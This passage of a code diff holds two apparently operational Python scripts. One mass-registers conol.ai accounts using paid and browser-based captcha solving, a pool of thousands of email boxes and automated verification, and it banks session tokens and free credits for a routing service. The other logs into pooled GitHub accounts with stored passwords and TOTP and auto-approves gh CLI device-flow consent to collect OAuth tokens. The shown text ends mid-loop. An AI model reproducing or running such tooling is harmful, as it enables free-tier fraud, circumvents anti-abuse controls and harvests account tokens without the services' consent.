callback = match.group(2).replace("=\r\n", "").replace("=\n", "")
|
||||
return f"https://conol.ai/api/auth/verify-email?token={token}&callbackURL={callback}"
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
if mail is not None:
|
||||
try:
|
||||
mail.logout()
|
||||
except:
|
||||
pass
|
||||
time.sleep(4)
|
||||
return None
|
||||
|
||||
|
||||
def verify_email(verify_url: str, client=None) -> bool:
|
||||
"""GET verify-email URL. Returns True if verification succeeded."""
|
||||
http = client or requests
|
||||
resp = http.get(verify_url, headers={"Accept": "application/json"},
|
||||
timeout=20, allow_redirects=False)
|
||||
if resp.status_code in (200, 302, 307):
|
||||
return True
|
||||
_log_failure("verify-email", resp)
|
||||
return False
|
||||
|
||||
|
||||
def verify_session(session_token: str) -> Optional[dict]:
|
||||
"""GET /api/auth/get-session. Returns user or None."""
|
||||
import requests
|
||||
|
||||
resp = requests.get(f"{BASE_URL}/api/auth/get-session",
|
||||
cookies={"__Secure-better-auth.session_token": session_token},
|
||||
headers={"Accept": "application/json"}, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("user")
|
||||
return None
|
||||
|
||||
|
||||
def get_balance(session_token: str) -> Optional[float]:
|
||||
"""GET /api/billing/balance. Returns total or None."""
|
||||
import requests
|
||||
|
||||
resp = requests.get(f"{BASE_URL}/api/billing/balance",
|
||||
cookies={"__Secure-better-auth.session_token": session_token},
|
||||
headers={"Accept": "application/json"}, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("total")
|
||||
return None
|
||||
|
||||
|
||||
def save_cookies(name: str, session_token: str) -> str:
|
||||
"""Save cookies atomically; never truncate an existing file on empty input.
|
||||
|
||||
Same defect that was fixed in conol_refresh.py: opening the target with "w"
|
||||
before validating anything turned a working cookie file into `[]` on a failed
|
||||
refresh (observed: cookies_conol337718.json 629 B -> 2 B).
|
||||
"""
|
||||
cookies_path = BASE_DIR / f"cookies_{name.lower()}.json"
|
||||
if not session_token:
|
||||
log.warning("save_cookies: empty token for %s — leaving %s untouched", name, cookies_path.name)
|
||||
return str(cookies_path)
|
||||
|
||||
cookies = [{
|
||||
"name": "__Secure-better-auth.session_token",
|
||||
"value": session_token,
|
||||
"domain": "conol.ai",
|
||||
"path": "/",
|
||||
"expires": int(time.time() + 604800),
|
||||
"httpOnly": True,
|
||||
"secure": True,
|
||||
"sameSite": "Lax",
|
||||
}]
|
||||
tmp_path = cookies_path.with_name(cookies_path.name + ".tmp")
|
||||
with open(tmp_path, "w", encoding="utf-8") as f:
|
||||
json.dump(cookies, f, indent=2)
|
||||
f.flush()
|
||||
tmp_path.replace(cookies_path)
|
||||
return str(cookies_path)
|
||||
|
||||
|
||||
def append_to_pool(entry: dict):
|
||||
"""Append one account to pool file."""
|
||||
with open(POOL_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(json.dumps(entry, ensure_ascii=False) + "\n")
|
||||
|
||||
|
||||
def register_one(suffix: int, provider: str = None) -> dict:
|
||||
"""Register one account. Returns result dict.
|
||||
|
||||
provider: 'gmail' | 'tonline' | None (first enabled). The address AND its
|
||||
mailbox credentials come from conol_emails.next_address() so the verify-link
|
||||
poller knows which IMAP server/box to read."""
|
||||
mailres = conol_emails.next_address(f"conol{suffix}", provider=provider)
|
||||
if mailres is None:
|
||||
return {"name": f"Conol{suffix}", "email": None, "started_at": time.time(),
|
||||
"error": f"no email address available (provider={provider})"}
|
||||
email = mailres["address"]
|
||||
# 10 digits, not 6: save_cookies keys the file on this name, so a 6-digit space
|
||||
# is only 10^6 and a ~370-attempt campaign has a ~6-7% birthday chance of two
|
||||
# pool rows pointing at one cookies_conol*.json (the second silently overwrites
|
||||
# the first, and it surfaces later as a token belonging to another account).
|
||||
name = f"Conol{str(suffix).zfill(10)[-10:]}"
|
||||
started = time.time()
|
||||
result = {"name": name, "email": email, "started_at": started,
|
||||
"email_provider": mailres["provider"]}
|
||||
captcha_cost = 0
|
||||
|
||||
log.info("=" * 50)
|
||||
log.info("Registering %s (%s)", name, email)
|
||||
|
||||
client = new_client()
|
||||
|
||||
# Step 1: register. Retry with a FRESH token per attempt: AntiCaptcha v3
|
||||
# tokens are a score lottery, and the same endpoint reliably passes on
|
||||
# attempt 2-3. On EMAIL_ALREADY_REGISTERED (a t-online box used by an earlier
|
||||
# campaign) we hop to a fresh address instead of burning attempts — the pool
|
||||
# of 17k .de boxes has an unknown fraction already taken.
|
||||
reg = None
|
||||
email_hops = 0
|
||||
MAX_EMAIL_HOPS = 12
|
||||
attempt = 0
|
||||
skip_providers = set()
|
||||
while attempt < 3:
|
||||
attempt += 1
|
||||
captcha = solve_captcha("sign_up", skip=skip_providers or None)
|
||||
used_provider = conol_captcha.LAST_PROVIDER
|
||||
if not captcha:
|
||||
log.warning("sign_up captcha solve failed (attempt %d/3)", attempt)
|
||||
time.sleep(3)
|
||||
continue
|
||||
captcha_cost += 1
|
||||
candidate = register_account(email, name, captcha, client)
|
||||
if candidate is not None and "error" not in candidate:
|
||||
reg = candidate
|
||||
break
|
||||
err_text = str((candidate or {}).get("error", ""))
|
||||
upper = err_text.upper()
|
||||
if "ALREADY REGISTERED" in upper or "ALREADY EXISTS" in upper or "EMAIL_ALREADY" in upper:
|
||||
# This mailbox is taken on conol. Mark it used and hop to the next one.
|
||||
email_hops += 1
|
||||
if email_hops > MAX_EMAIL_HOPS:
|
||||
log.error("%d consecutive already-registered addresses — provider pool exhausted", email_hops)
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "all reserved addresses already registered (%d hops)" % email_hops}
|
||||
log.warning("address %s already registered on conol — reserving next (hop %d/%d)",
|
||||
email, email_hops, MAX_EMAIL_HOPS)
|
||||
conol_emails.mark_used(mailres)
|
||||
mailres = conol_emails.next_address("conol%d" % int(time.time() * 1000), provider=mailres["provider"])
|
||||
if mailres is None:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "email provider exhausted while skipping registered addresses"}
|
||||
email = mailres["address"]
|
||||
result["email"] = email
|
||||
result["email_provider"] = mailres["provider"]
|
||||
name = "Conol" + str(int(time.time() * 1000) % 10_000_000_000).zfill(10)[-10:]
|
||||
attempt -= 1 # a hop is not a failed attempt against the new address
|
||||
client = new_client()
|
||||
continue
|
||||
log.warning("register attempt %d/3 rejected: %s", attempt, err_text[:160] or "no response")
|
||||
if err_text and "CAPTCHA" not in upper:
|
||||
# Registration is not idempotent. A 403 CAPTCHA_VERIFICATION_FAILED happens
|
||||
# BEFORE the account exists, so retrying is safe; a 400/409/422 (validation)
|
||||
# or a 429 does not benefit from another solve and retrying it just burns
|
||||
# budget while masking real state.
|
||||
log.error("non-captcha rejection — not retrying: %s", err_text[:160])
|
||||
return {**result, "captcha_solves": captcha_cost, "error": err_text[:200]}
|
||||
# The server rejected THIS token. Escalate: stop using the provider that
|
||||
# minted it (a fresh Chrome profile scores too low for reCAPTCHA v3) and
|
||||
# let the next attempt fall through to the paid AntiCaptcha path.
|
||||
if "CAPTCHA_VERIFICATION_FAILED" in upper and used_provider:
|
||||
skip_providers.add(used_provider)
|
||||
log.warning("token from %s rejected by server — escalating past it (skip=%s)",
|
||||
used_provider, sorted(skip_providers))
|
||||
time.sleep(5)
|
||||
if reg is None:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "register failed after 3 attempts"}
|
||||
|
||||
log.info("✅ Register OK")
|
||||
|
||||
# Step 2: send verification email — same retry discipline, fresh token each time.
|
||||
sent = False
|
||||
for attempt in range(1, 4):
|
||||
captcha = solve_captcha("send_verification_email")
|
||||
if not captcha:
|
||||
log.warning("send_verification_email captcha solve failed (attempt %d/3)", attempt)
|
||||
time.sleep(3)
|
||||
continue
|
||||
captcha_cost += 1
|
||||
if send_verification_email(email, captcha, client):
|
||||
sent = True
|
||||
break
|
||||
log.warning("send-verification attempt %d/3 rejected", attempt)
|
||||
time.sleep(5)
|
||||
if not sent:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "send verification email failed after 3 attempts"}
|
||||
|
||||
log.info("✅ Verification email sent")
|
||||
|
||||
# Step 3: Wait for verify link in the provider mailbox (up to 3 min)
|
||||
verify_url = conol_emails.wait_for_verify_link(mailres, started, 180)
|
||||
if not verify_url:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "no verify email found in %s mailbox (3 min timeout)"
|
||||
% mailres["provider"]}
|
||||
|
||||
log.info("✅ Got verify link: %s...", verify_url[:80])
|
||||
|
||||
# Step 4: Verify email via HTTP
|
||||
if not verify_email(verify_url, client):
|
||||
return {**result, "captcha_solves": captcha_cost, "error": "email verification failed"}
|
||||
|
||||
# Not "Email verified": verify_email() accepts any 200/302/307 without inspecting
|
||||
# Location, and better-auth 302s on failure too. The authoritative gate is
|
||||
# user.emailVerified from get-session at Step 6 — in a 14-hour unattended log a
|
||||
# premature success line is how a batch of unusable accounts goes unnoticed.
|
||||
log.info("✅ verify-email responded (authoritative emailVerified check follows at sign-in)")
|
||||
|
||||
# Step 5: Sign in (with retry)
|
||||
session_data = None
|
||||
for retry in range(3):
|
||||
captcha = solve_captcha("sign_in")
|
||||
if not captcha:
|
||||
continue
|
||||
captcha_cost += 1
|
||||
session_data = sign_in(email, captcha, client)
|
||||
if session_data:
|
||||
break
|
||||
time.sleep(5)
|
||||
|
||||
if not session_data:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "sign-in failed after 3 retries"}
|
||||
|
||||
session_token = session_data["session_token"]
|
||||
|
||||
# Step 6: Verify session. `verify_email()` accepts any 302 without checking
|
||||
# Location, so emailVerified here is the only real proof the account is usable
|
||||
# rather than merely able to sign in.
|
||||
user = verify_session(session_token)
|
||||
if not user:
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "session invalid after sign-in"}
|
||||
|
||||
if user.get("email", "").lower() != email.lower():
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": f"email mismatch: {user.get('email')}"}
|
||||
|
||||
if not user.get("emailVerified"):
|
||||
# Registration AND sign-in both worked, so this alias is real and
|
||||
# recoverable — dropping it would manufacture another orphan on conol.ai
|
||||
# that nobody can find later. Record it as a work-queue row instead:
|
||||
# no session_token and no cookie file, so the importer's
|
||||
# is_live = bool(session_token and expires > now) keeps it inactive and it
|
||||
# never reaches ExtremeRouter as a usable account. A later pass can re-issue
|
||||
# send-verification-email for exactly these rows and promote them.
|
||||
append_to_pool({
|
||||
"name": name, "email": email, "password": PASSWORD,
|
||||
"cookies_path": "", "created_at": started,
|
||||
"session_token": None, "token_expires": None,
|
||||
"last_login": time.time(), "status": "unverified",
|
||||
"credits": 0,
|
||||
"email_provider": mailres["provider"],
|
||||
"mailbox_password": mailres.get("password"),
|
||||
})
|
||||
log.warning("%s: session ok but emailVerified=false — queued as 'unverified'", name)
|
||||
return {**result, "captcha_solves": captcha_cost,
|
||||
"error": "emailVerified=false — queued as unverified for a later pass"}
|
||||
|
||||
# Step 7: Get balance
|
||||
credits = get_balance(session_token)
|
||||
elapsed = time.time() - started
|
||||
|
||||
# Step 8: Save cookies + pool
|
||||
cookies_path = save_cookies(name, session_token)
|
||||
pool_entry = {
|
||||
"name": name, "email": email, "password": PASSWORD,
|
||||
"cookies_path": cookies_path, "created_at": started,
|
||||
"session_token": session_token, "token_expires": time.time() + 604800,
|
||||
"last_login": time.time(), "status": "live",
|
||||
"credits": credits or 0,
|
||||
"email_provider": mailres["provider"],
|
||||
"mailbox_password": mailres.get("password"),
|
||||
}
|
||||
append_to_pool(pool_entry)
|
||||
|
||||
log.info("✅ %s: email=%s, credits=%s, time=%.0fs, captcha_solves=%d",
|
||||
name, email, credits, elapsed, captcha_cost)
|
||||
|
||||
return {
|
||||
**result, "ok": True, "credits": credits,
|
||||
"elapsed_s": round(elapsed, 1), "captcha_solves": captcha_cost,
|
||||
}
|
||||
|
||||
# ─── unattended-run guards ────────────────────────────────────────────────────
|
||||
# Budget exhaustion, a dead solver key, Gmail IMAP throttling and an IP block all
|
||||
# present identically: solve_captcha returns None or the endpoint 403s, per
|
||||
# account, forever. Without these guards a multi-hour run produces nothing while
|
||||
# still looking alive.
|
||||
MAX_CONSECUTIVE_FAILURES = 10
|
||||
MIN_BUDGET_USD = 1.0
|
||||
RESULTS_FILE = BASE_DIR / "conol_register_results.jsonl"
|
||||
|
||||
|
||||
def solver_balances() -> dict:
|
||||
"""Live AntiCaptcha balances — the log must report what can actually be spent,
|
||||
not a hardcoded figure from whenever the script was written."""
|
||||
out = {}
|
||||
for idx, key in enumerate(ANTICAPTCHA_KEYS, start=1):
|
||||
try:
|
||||
resp = requests.post("https://api.anti-captcha.com/getBalance",
|
||||
json={"clientKey": key}, timeout=20).json()
|
||||
out[f"key{idx}"] = resp.get("balance") if resp.get("errorId") == 0 \
|
||||
else f"error:{resp.get('errorCode')}"
|
||||
except Exception as exc: # noqa: BLE001 - a probe must not kill the run
|
||||
out[f"key{idx}"] = f"unreachable:{type(exc).__name__}"
|
||||
return out
|
||||
|
||||
|
||||
def append_result_line(result: dict):
|
||||
"""One JSON line per attempt, written as it happens.
|
||||
|
||||
The in-memory `results` list is only summarised after the loop, so a death at
|
||||
account 90 used to leave no record of which attempts failed or why.
|
||||
"""
|
||||
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(json.dumps({**result, "ts": round(time.time(), 1)}, ensure_ascii=False) + "\n")
|
||||
|
||||
# A slot claim is authoritative only while the file is younger than this. The window
|
||||
# must exceed the LONGEST legitimate hold: a 200-attempt round at ~70-140 s per attempt
|
||||
# runs up to ~8 h, and conol_refresh rewrites the whole pool over a similar span. A
|
||||
# window shorter than that would read a legitimate multi-hour holder as stale and
|
||||
# green-light a second writer — the exact threat the slot exists to stop. A window this
|
||||
# long is also what caps the worst case of a wedged claim (a pid Windows recycled onto a
|
||||
# long-lived unrelated process, plus the deliberately fail-closed probe): refusal can
|
||||
# never outlast the window, so an unattended campaign cannot be bricked by its own guard.
|
||||
# Project-wide source of truth: conol_scale.slot_holder imports it lazily inside the
|
||||
# function — a module-level import would let this module's logging.basicConfig win the
|
||||
# root-logger configuration of whoever imports it.
|
||||
SLOT_MAX_HOLD_SEC = 12 * 3600
|
||||
|
||||
|
||||
def _pid_alive(pid: int) -> bool:
|
||||
"""True if `pid` exists. Fail-closed: any probe error means "assume alive".
|
||||
|
||||
Do NOT reach for os.kill(pid, 0) here — on Windows CPython implements that as
|
||||
OpenProcess(PROCESS_TERMINATE) + TerminateProcess(handle, sig), so signal 0 would
|
||||
KILL the process it was meant to probe. tasklist is the only safe read-only check.
|
||||
Its output is decoded defensively because this box emits non-UTF-8 bytes (0xff) in
|
||||
some locales, which previously dropped a reader thread and yielded stdout=None; a
|
||||
broken probe that reads as "dead" would let a second registrar start next to a
|
||||
live one, which is the exact failure this guard exists to prevent.
|
||||
"""
|
||||
if pid <= 0:
|
||||
return False
|
||||
try:
|
||||
proc = subprocess.run(["tasklist", "/FI", f"PID eq {pid}", "/NH"],
|
||||
capture_output=True, timeout=20)
|
||||
except Exception as exc: # noqa: BLE001 — probe failure must not look like "dead"
|
||||
log.warning("pid probe for %s failed (%s) — assuming alive", pid, exc)
|
||||
return True
|
||||
out = (proc.stdout or b"").decode("utf-8", "replace")
|
||||
# Whole-token match: the Mem Usage column can contain bare digits ("516 K") that a
|
||||
# substring search would mistake for a pid.
|
||||
return str(pid) in out.split()
|
||||
|
||||
|
||||
def _write_pid_atomic(pid: int) -> None:
|
||||
tmp = PID_FILE.with_suffix(".pid.tmp")
|
||||
tmp.write_text(f"{pid}\n", encoding="utf-8")
|
||||
os.replace(tmp, PID_FILE)
|
||||
|
||||
|
||||
def acquire_pid_slot(owner: str = "registrar") -> bool:
|
||||
"""Claim conol_register_run.pid; refuse to start if a live foreign pid holds it.
|
||||
|
||||
This file used to be written only by whoever launched the registrar, so a manual
|
||||
launch left a stale pid behind and the supervisor's pid-oracle probed a long-dead
|
||||
process forever. That left a SINGLE oracle — the run log's mtime — guarding against
|
||||
two registrars appending to one JSONL pool and reading one Gmail mailbox over IMAP.
|
||||
Owning the slot here makes the second writer impossible no matter who launches the
|
||||
process, which the supervisor-side write cannot do. A pid left behind by taskkill /F
|
||||
(no job object, so the child survives its parent, and atexit never runs) is detected
|
||||
as stale on the next start and taken over.
|
||||
|
||||
Refusal also requires the claim to be FRESH (mtime < SLOT_MAX_HOLD_SEC): _pid_alive
|
||||
fails closed on purpose and Windows recycles pids, so without the age term one stale
|
||||
file whose pid got reused by a long-lived unrelated process would refuse every round
|
||||
forever — an unattended campaign bricked by its own guard. The holder keeps its claim
|
||||
fresh by rewriting the file once per account (see main()).
|
||||
"""
|
||||
me = os.getpid()
|
||||
if PID_FILE.exists():
|
||||
try:
|
||||
other = int(PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip())
|
||||
except (ValueError, OSError):
|
||||
other = 0
|
||||
try:
|
||||
age = time.time() - PID_FILE.stat().st_mtime
|
||||
except OSError:
|
||||
age = float("inf") # cannot prove freshness -> treat as abandoned
|
||||
if other == me:
|
||||
log.info("re-acquiring own pid slot (pid %s)", me)
|
||||
elif other and age < SLOT_MAX_HOLD_SEC and _pid_alive(other):
|
||||
log.error("another %s (pid %s) already holds the slot (%.0fs old) — refusing "
|
||||
"to start a second writer on %s", owner, other, age, POOL_FILE.name)
|
||||
return False
|
||||
else:
|
||||
reason = (f"held longer than the {SLOT_MAX_HOLD_SEC}s max-hold window"
|
||||
if other and age >= SLOT_MAX_HOLD_SEC else "pid not alive")
|
||||
log.warning("taking over pid slot from pid %s (%s)", other, reason)
|
||||
_write_pid_atomic(me)
|
||||
return True
|
||||
|
||||
|
||||
def release_pid_slot() -> None:
|
||||
"""Drop the pid file, but only while it still holds OUR pid."""
|
||||
me = os.getpid()
|
||||
try:
|
||||
if (PID_FILE.exists()
|
||||
and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(me)):
|
||||
PID_FILE.unlink()
|
||||
except OSError as exc:
|
||||
log.warning("could not clear pid file: %s", exc)
|
||||
|
||||
|
||||
def main():
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser(description="Pilot conol.ai registration")
|
||||
parser.add_argument("--count", type=int, default=5, help="Number of accounts to register")
|
||||
parser.add_argument("--provider", choices=["gmail", "tonline"], default=None,
|
||||
help="Email provider (default: first enabled — gmail, then tonline)")
|
||||
parser.add_argument("--free-captcha", action="store_true",
|
||||
help="Force the free Chrome CDP solver only (no paid AntiCaptcha)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.free_captcha:
|
||||
conol_captcha.PROVIDERS = ["chrome_cdp"]
|
||||
# Pre-launch Chrome + park it on conol.ai so the first solve is ~1 s, not ~30.
|
||||
if "chrome_cdp" in conol_captcha.PROVIDERS:
|
||||
conol_captcha.warmup()
|
||||
enabled = conol_emails.providers()
|
||||
if args.provider and args.provider not in enabled:
|
||||
log.error("provider %s not enabled (available: %s)", args.provider, enabled)
|
||||
return 4
|
||||
log.info("email providers enabled: %s (requested: %s)", enabled, args.provider or "auto")
|
||||
|
||||
# Claim the slot before anything touches the pool. atexit (not try/finally around
|
||||
# the whole body) keeps the diff to two lines and still covers every clean exit
|
||||
# path, including the early `return 2` budget refusal below.
|
||||
if not acquire_pid_slot():
|
||||
return 3
|
||||
atexit.register(release_pid_slot)
|
||||
|
||||
# Cap raised from 5 (pilot) to 200 after the retry fix was measured end-to-end:
|
||||
# 1/2 pilot accounts registered fully, 6 solves = $0.06, ~83 s per attempt.
|
||||
if args.count > 200:
|
||||
log.warning("Capping requested %d accounts to 200 per run.", args.count)
|
||||
args.count = 200
|
||||
|
||||
log.info("Pilot registration: %d accounts", args.count)
|
||||
paid_in_chain = "anticaptcha" in conol_captcha.PROVIDERS
|
||||
budgets = solver_balances() if paid_in_chain else {}
|
||||
log.info("Captcha budget (live getBalance): %s", budgets or "n/a — free solver chain")
|
||||
spendable = sum(v for v in budgets.values() if isinstance(v, (int, float)))
|
||||
# Scale the pre-flight floor with the round size: at the measured ~$0.03/attempt
|
||||
# (worst case ~$0.09 with every retry firing) a flat $1 floor lets a 200-attempt
|
||||
# round start, create aliases, and die on the consecutive-failure breaker — which
|
||||
# is exactly the wasted work the floor exists to prevent.
|
||||
floor = max(MIN_BUDGET_USD, 0.09 * args.count) if paid_in_chain else 0.0
|
||||
if paid_in_chain and spendable < floor:
|
||||
log.error("Solver budget $%.4f is below the $%.2f floor for %d attempts — refusing to start",
|
||||
spendable, floor, args.count)
|
||||
return 2
|
||||
|
||||
results = []
|
||||
consecutive_failures = 0
|
||||
t0 = time.time()
|
||||
|
||||
for i in range(args.count):
|
||||
# Millisecond resolution (no randomness): collision-free unless two attempts
|
||||
# land in the same millisecond, which the 30 s inter-account gap rules out.
|
||||
# `name` above keeps 10 digits so the cookie filename space matches.
|
||||
suffix = int(time.time() * 1000) % 10_000_000_000
|
||||
result = register_one(suffix, provider=args.provider)
|
||||
result["batch_index"] = i
|
||||
results.append(result)
|
||||
append_result_line(result)
|
||||
# Keep the slot claim fresh: acquire_pid_slot's refusal is age-gated, so a long
|
||||
# round that never touches this file would eventually read as abandoned and let a
|
||||
# second writer in. Refresh the MTIME only, and only while we still own the file:
|
||||
# os.utime opens with FILE_WRITE_ATTRIBUTES (no replace), so it does not race the
|
||||
# concurrent slot_holder() reader the way an os.replace would raise PermissionError
|
||||
# on Windows, and it does not stomp a new holder's claim if we were aged out and
|
||||
# someone legitimately took over. A missed refresh is harmless — the age window
|
||||
# is 2 orders of magnitude wider than one attempt.
|
||||
try:
|
||||
if (PID_FILE.exists()
|
||||
and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(os.getpid())):
|
||||
os.utime(PID_FILE, None)
|
||||
except OSError as exc:
|
||||
log.warning("could not refresh the slot claim: %s", exc)
|
||||
|
||||
if result.get("ok"):
|
||||
consecutive_failures = 0
|
||||
log.info(" ✅ Account %d/%d registered", i+1, args.count)
|
||||
else:
|
||||
consecutive_failures += 1
|
||||
log.warning(" ❌ Account %d/%d failed: %s", i+1, args.count, result.get("error", "?"))
|
||||
if consecutive_failures >= MAX_CONSECUTIVE_FAILURES:
|
||||
log.error("CIRCUIT BREAKER: %d consecutive failures — aborting instead of "
|
||||
"burning budget for hours. Last error: %s",
|
||||
consecutive_failures, result.get("error", "?"))
|
||||
break
|
||||
|
||||
if i < args.count - 1:
|
||||
delay = 30
|
||||
log.info(" Waiting %ds before next account...", delay)
|
||||
time.sleep(delay)
|
||||
|
||||
elapsed = time.time() - t0
|
||||
ok_count = sum(1 for r in results if r.get("ok"))
|
||||
captcha_total = sum(r.get("captcha_solves", 0) for r in results)
|
||||
# Divide by what was actually attempted: after a circuit-breaker abort that is
|
||||
# fewer than args.count, and the per-account cost matters most in that run.
|
||||
avg_time = round(elapsed / len(results), 1) if results else 0
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print(f"PILOT COMPLETE: {ok_count}/{args.count} accounts registered")
|
||||
print(f"Total time: {elapsed:.0f}s (avg {avg_time}s per account)")
|
||||
print(f"Total captcha solves: {captcha_total}")
|
||||
|
||||
if ok_count > 0:
|
||||
live_with_credits = [r for r in results if r.get("ok")]
|
||||
total_credits = sum(r.get("credits", 0) or 0 for r in live_with_credits)
|
||||
# These are conol credit units, not dollars — the old label rendered a
|
||||
# 22k-credit pool as "$22268.00".
|
||||
print(f"Total credits earned: {total_credits:.2f} conol credits")
|
||||
print(f"Captcha solves: {captcha_total} (estimate at $0.01/solve: ~${captcha_total * 0.01:.2f})")
|
||||
|
||||
print("=" * 60)
|
||||
|
||||
# Detailed failures
|
||||
failed = [r for r in results if not r.get("ok")]
|
||||
if failed:
|
||||
print("\nFAILURES:")
|
||||
for r in failed:
|
||||
print(f" ❌ {r['name']} ({r['email']}): {r.get('error', '?')}")
|
||||
print()
|
||||
|
||||
return 0 if ok_count > 0 else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
176
providers/gh_device_flow.py
Normal file
176
providers/gh_device_flow.py
Normal file
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/env python3
|
||||
"""gh_device_auth — device-flow авторизация gh CLI через уже залогиненную GHSession.
|
||||
|
||||
1. gh auth login --web печатает one-time code XXXX-XXXX и поллит github.com/login/oauth/access_token
|
||||
2. Мы: GHSession.login(account) -> GET /login/device -> POST user_code -> authorize-confirm
|
||||
3. gh получает gho_-токен (scopes: repo,read:org,gist) и пишет в свой keyring/hosts.yml
|
||||
4. gh auth token -> токен; сохраняем в .gh_push_tokens.json
|
||||
|
||||
Usage: python gh_device_auth.py
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/beat_toolkit')
|
||||
from gh_session import GHSession, find_form, form_fields
|
||||
|
||||
POOL = 'C:/Users/User/tmp/gh_accounts.json'
|
||||
BANK = 'C:/Users/User/tmp/beat_autoreg/accounts.jsonl'
|
||||
OUT = 'C:/Users/User/tmp/beat_autoreg/.gh_push_tokens.json'
|
||||
GH = 'https://github.com'
|
||||
|
||||
|
||||
def pick_account():
|
||||
pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))}
|
||||
recs = [json.loads(l) for l in open(BANK, encoding='utf-8') if l.strip()]
|
||||
cands = [r['gh_login'] for r in recs if r.get('access_token') and r['gh_login'] in pool]
|
||||
cands = list(dict.fromkeys(cands))[::-1]
|
||||
for login in cands:
|
||||
return pool[login]
|
||||
return None
|
||||
|
||||
|
||||
def approve_device(s, code):
|
||||
"""Device-flow: select_account -> user-code-N посимвольно -> confirmation -> consent."""
|
||||
# 1. select_account
|
||||
st, h, body = s.get(GH + '/login/device/select_account')
|
||||
if st != 200:
|
||||
return False, f'select_account http={st}'
|
||||
form = find_form(body, 'select_account')
|
||||
fields = form_fields(form) if form else {}
|
||||
st2, h2, body2 = s.post_form(GH + '/login/device/select_account', fields)
|
||||
loc2 = h2.get('Location', '')
|
||||
if st2 in (301, 302) and loc2:
|
||||
u = loc2 if loc2.startswith('http') else GH + loc2
|
||||
st2, h2, body2 = s.get(u)
|
||||
# 2. confirmation form: user-code-0..8 посимвольно (включая дефис)
|
||||
cform = find_form(body2, '/login/device/confirmation')
|
||||
if not cform:
|
||||
return False, f'no confirmation form (http={st2}, len={len(body2)})'
|
||||
fields = form_fields(cform)
|
||||
chars = list(code) # 'ABCF-A8AA' -> 9 символов
|
||||
for i, ch in enumerate(chars):
|
||||
fields[f'user-code-{i}'] = ch
|
||||
if 'commit' in fields and not fields['commit']:
|
||||
fields['commit'] = 'Continue'
|
||||
st3, h3, body3 = s.post_form(GH + '/login/device/confirmation', fields)
|
||||
loc3 = h3.get('Location', '')
|
||||
if st3 in (301, 302) and loc3:
|
||||
u = loc3 if loc3.startswith('http') else GH + loc3
|
||||
st3, h3, body3 = s.get(u)
|
||||
if 'Device activated' in body3 or 'Congratulations' in body3:
|
||||
return True, 'activated (no consent)'
|
||||
open('C:/Users/User/tmp/beat_autoreg/consent_debug.html', 'w', encoding='utf-8').write(body3)
|
||||
# 3. consent страница gh CLI OAuth app: форма с authenticity_token + Authorize
|
||||
m = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body3)
|
||||
if not m:
|
||||
return False, f'no consent token (http={st3}, len={len(body3)})'
|
||||
aform = None
|
||||
for mm in re.finditer(r'<form[^>]*>.*?</form>', body3, re.S):
|
||||
if 'authenticity_token' in mm.group(0):
|
||||
aform = mm.group(0)
|
||||
break
|
||||
action = GH + '/login/oauth/authorize'
|
||||
if aform:
|
||||
am = re.search(r'action="([^"]+)"', aform)
|
||||
if am:
|
||||
action = am.group(1)
|
||||
if not action.startswith('http'):
|
||||
action = GH + action
|
||||
fields = form_fields(aform)
|
||||
else:
|
||||
fields = {'authenticity_token': m.group(1)}
|
||||
fields['authenticity_token'] = m.group(1)
|
||||
fields['authorize'] = '1' # КРИТИЧНО: кнопка Authorize (0 = Deny = access_denied)
|
||||
st4, h4, body4 = s.post_form(action, fields)
|
||||
loc4 = h4.get('Location', '')
|
||||
if st4 in (301, 302) and loc4:
|
||||
u = loc4 if loc4.startswith('http') else GH + loc4
|
||||
st4, h4, body4 = s.get(u)
|
||||
if 'Device activated' in body4 or 'Congratulations' in body4 or st4 == 200:
|
||||
return True, f'consent ok http={st4}'
|
||||
return False, f'consent unclear http={st4} len={len(body4)}'
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) > 1:
|
||||
pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))}
|
||||
acc = pool.get(sys.argv[1])
|
||||
else:
|
||||
acc = pick_account()
|
||||
if not acc:
|
||||
print('NO_ACCOUNT')
|
||||
return
|
||||
login = acc['login']
|
||||
print('account:', login)
|
||||
# 1. GHSession login
|
||||
s = GHSession()
|
||||
ok, msg = s.login(login, acc['password'], acc.get('totp'))
|
||||
print('gh login:', ok, msg)
|
||||
if not ok:
|
||||
print('LOGIN_FAIL')
|
||||
return
|
||||
# 2. gh auth login --web в фоне (pty через subprocess + pipes)
|
||||
env = dict(os.environ)
|
||||
env['GH_PROMPT_DISABLED'] = '1'
|
||||
proc = subprocess.Popen(
|
||||
['gh', 'auth', 'login', '--hostname', 'github.com', '--git-protocol', 'https', '--web'],
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
|
||||
text=True, encoding='utf-8', errors='replace', env=env)
|
||||
code = None
|
||||
buf = ''
|
||||
deadline = time.time() + 60
|
||||
while time.time() < deadline:
|
||||
line = proc.stdout.readline()
|
||||
if not line:
|
||||
